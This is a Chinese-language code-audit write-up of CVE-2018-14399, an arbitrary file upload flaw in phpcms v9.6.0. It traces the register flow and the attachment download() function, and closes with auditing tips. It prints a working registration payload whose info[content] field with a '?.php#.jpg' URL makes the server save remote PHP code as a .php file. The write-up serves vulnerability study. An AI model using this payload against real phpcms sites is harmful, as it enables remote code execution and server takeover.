---
# System prepended metadata

title: CVE-2018-14399 (phpcms v9.6.0任意文件上傳漏洞)
tags: [CVE, phpcms]

---

# CVE-2018-14399 (phpcms v9.6.0任意文件上傳漏洞)

###### tags: `CVE` `phpcms`




我這邊給出了一篇好文:(由於我太懶了)
https://cloud.tencent.com/developer/article/1802267

如果閱讀完後，在看我下面的分析出的其他重點會更清楚


創建一個
http://localhost/hack.txt
```
<?php phpinfo();?>
```




payload正常格式:
```
siteid=1&modelid=11&username=Tao123&password=7123456&email=Ta11o@qq.com&info[content]=<img src=http://localhost/hack.txt?.php#.jpg>&dosubmit=1&protocol=

```
注意因為 這次的payload 是在註冊階段，所以payload 每次都需要不同的個人資料





正常post包
```
siteid=1&
modelid=10&
username=333333&
password=333333&
pwdconfirm=333333&
email=333333%40gmail.com&
nickname=3333&
info[birthday]=2023-02-02&
dosubmit=同意注册协议，提交注册&
protocol=
```



payload:
```
siteid=1&
modelid=11&
username=Tao&
password=123456&
email=Tao@qq.com&
info[content]=<img src=http://localhost/hack.txt?.php#.jpg>&
dosubmit=1&
protocol=

```


不同之處

```
modelid=10 
modelid=11



info[birthday]=2023-02-02& 
info[content]=<img src=http://localhost/hack.txt?.php#.jpg>&



// 這邊無所謂
dosubmit=同意注册协议，提交注册
dosubmit=1
```




所以重點在於 modelid  和 info[] 



先找到註冊的函數

phpcms/modules/member/index.php

搜尋 register()，並斷點 130 133 134 135 行

這邊全部都很重要，建議可以慢慢跟進摸索，
```php=
//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);		
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);				        				
}
```






會跟到 caches/caches_model/caches_data/member_input.class.php
這個文件可以瀏覽一下關鍵都在這。

47行斷點
```php=
$func = $this->fields[$field]['formtype'];
```



正常數據 $func 會獲取到 同文件下的函數datetime
```php=
	function datetime($field, $value) {
		$setting = string2array($this->fields[$field]['setting']);
		if($setting['fieldtype']=='int') {
			$value = strtotime($value);
		}
		return $value;
	}
```

漏動作者竄改了 modelid=11

$func 會獲取到 同文件下的函數editor
```php=
	function editor($field, $value) {
		$setting = string2array($this->fields[$field]['setting']);
		$enablesaveimage = $setting['enablesaveimage'];
		$site_setting = string2array($this->site_config['setting']);
		$watermark_enable = intval($site_setting['watermark_enable']);
		$value = $this->attachment->download('content', $value,$watermark_enable);
		return $value;
	}
```


要想知道 modelid 10 跟 11 得差別。


就必須斷點多跟幾次
phpcms/modules/member/index.php
register函數 的130行
```
if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    
    
    
    //這裡創建member_input過程 很重要
    $member_input = new member_input($userinfo['modelid']);		
    
    
    
    
    
    
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);				        				
}

```

跟蹤會走到這
caches/caches_model/caches_data/member_input.class.php

參數 modelid=10

```
    function __construct($modelid) {
    
		$this->db = pc_base::load_model('sitemodel_field_model');
		$this->db_pre = $this->db->db_tablepre;
		$this->modelid = $modelid;
		$this->fields = getcache('model_field_'.$modelid,'model');

		//初始化附件类
		pc_base::load_sys_class('attachment','',0);
		$this->siteid = param::get_cookie('siteid');
		$this->attachment = new attachment('content','0',$this->siteid);

    }
```


初始化 this 的屬性 

db table = v9_model_field

![](https://i.imgur.com/QYFTY4y.png)

也就是說他可能進sql 要拿資料，或是放資料




執行完後
fileds 是一個 array 其中一個元素 birthday 也是一個array 

```
Array
(
    [birthday] => Array
        (
            [fieldid] => 83
            [modelid] => 10
            [siteid] => 1
            [field] => birthday
            [name] => 生日
            [tips] => 
            [css] => 
            [minlength] => 0
            [maxlength] => 0
            [pattern] => 
            [errortips] => 生日格式错误
            [formtype] => datetime
            [setting] => array (
  'fieldtype' => 'date',
  'format' => 'Y-m-d',
  'defaulttype' => '0',
)
            [formattribute] => 
            [unsetgroupids] => 
            [unsetroleids] => 
            [iscore] => 0
            [issystem] => 0
            [isunique] => 0
            [isbase] => 0
            [issearch] => 0
            [isadd] => 1
            [isfulltext] => 1
            [isposition] => 0
            [listorder] => 0
            [disabled] => 0
            [isomnipotent] => 0
            [fieldtype] => date
            [format] => Y-m-d
            [defaulttype] => 0
        )

)

```

這個 array 跟上圖 v9_model_field 一模一樣。
所以進 sql 是拿資料


所以目前為止我們知道 $func 為啥是 datatype()了
```php=
$func = $this->fields[$field]['formtype'];
```

之後f8慢慢跟完就會插入數據庫



1.插入一些東西
![](https://i.imgur.com/ImYSJXq.png)
db table_name = v9_member 




2.插入一些東西
![](https://i.imgur.com/G9TnLuQ.png)
db table_name = v9_member_detail



然後正常走完跳出成功訊息。 完成註冊


<br/>
<br/>





用POC 分析作者思路

他應該是找到了修改頭像的地方，雖然抓取圖片需要flash 插件(已經太老了)，沒開啟，不過他應該是可以本地上傳，跟遠程抓圖片功能。



遠程抓圖片，肯定會下載到伺服器上，所以就尋找到了 editor 修改頭像的模組，


```php=
	function editor($field, $value) {
		$setting = string2array($this->fields[$field]['setting']);
		$enablesaveimage = $setting['enablesaveimage'];
		$site_setting = string2array($this->site_config['setting']);
		$watermark_enable = intval($site_setting['watermark_enable']);
		$value = $this->attachment->download('content', $value,$watermark_enable);
		return $value;
	}
```



裡面有個 download圖片的 function  最後回傳 download file 路徑。



```php=
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
	{
		global $image_d;
		$this->att_db = pc_base::load_model('attachment_model');
		$upload_url = pc_base::load_config('system','upload_url');
		$this->field = $field;
		$dir = date('Y/md/');
		$uploadpath = $upload_url.$dir;
		$uploaddir = $this->upload_root.$dir;
		$string = new_stripslashes($value);
		if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
		$remotefileurls = array();
		foreach($matches[3] as $matche)
		{
			if(strpos($matche, '://') === false) continue;
			dir_create($uploaddir);
			$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
		}
		unset($matches, $string);
		$remotefileurls = array_unique($remotefileurls);
		$oldpath = $newpath = array();
		foreach($remotefileurls as $k=>$file) {
			if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
			$filename = fileext($file);
			$file_name = basename($file);
			$filename = $this->getname($filename);

			$newfile = $uploaddir.$filename;
			$upload_func = $this->upload_func;
			if($upload_func($file, $newfile)) {
				$oldpath[] = $k;
				$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
				@chmod($newfile, 0777);
				$fileext = fileext($filename);
				if($watermark){
					watermark($newfile, $newfile,$this->siteid);
				}
				$filepath = $dir.$filename;
				$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
				$aid = $this->add($downloadedfile);
				$this->downloadedfiles[$aid] = $filepath;
			}
		}
		return str_replace($oldpath, $newpath, $value);
	}	
```


思考一下既然這個函數可以利用，為啥作者不使用登入後狀態的修改圖像觸發，而是註冊時，竄改直接更換圖像

原因
正常註冊最後寫入的表是生日 v9_member_detail 欄位為 userid 跟 birthday
竄改後，寫入欄位 userid,content

content 就是那個下載文件的完整路徑

v9_member_detail 根本沒有 content 所以sql 語句會報錯。因此一舉兩得

如果不用註冊而是用登入後竄改資料，可能只能用暴力破解找到檔名


---



如果你繼續跟蹤下去download 函數，最後會看到
$upload_func 最後會是一個copy函數 你也可以不用去理解他，只要知道他從遠程下載了一個文件。
```
$upload_func = $this->upload_func;
```

其實漏洞作者很巧妙，下載外網圖片也無所謂，只要沒開啟文件包含，也沒利用點，重點是，他讓download 本應該下載圖片的函數，繞過層層過濾，最終可以下載非圖片的檔案，這才是厲害的地方。

例如
```
http://localhost/hack.txt?.php
```
1 .訪問後，不會被解釋為php檔，而是 txt檔。

2 . ?.php作為get參數 所以server 拿得到 txt 的內容，

3 . 但程式最後又把他變成.php 儲存 






### 後記:

此次的文章，完全不知道要怎麼開頭，所以才附上其他大神的文章，有很多都是要實際操作，才能明白的，如果有不清楚地方請多多指教。




代碼審計小技巧:

1.找出 poc 與 正常資料流的差異

2.思考一下這個資料會大概去哪

3.只要用到 sql ，就可以關注特定的table 

4.函數理解 -> 先看初始化 -> 在看return ->抓出大概在幹嘛

5.多跟幾次，熟悉一下關鍵點。

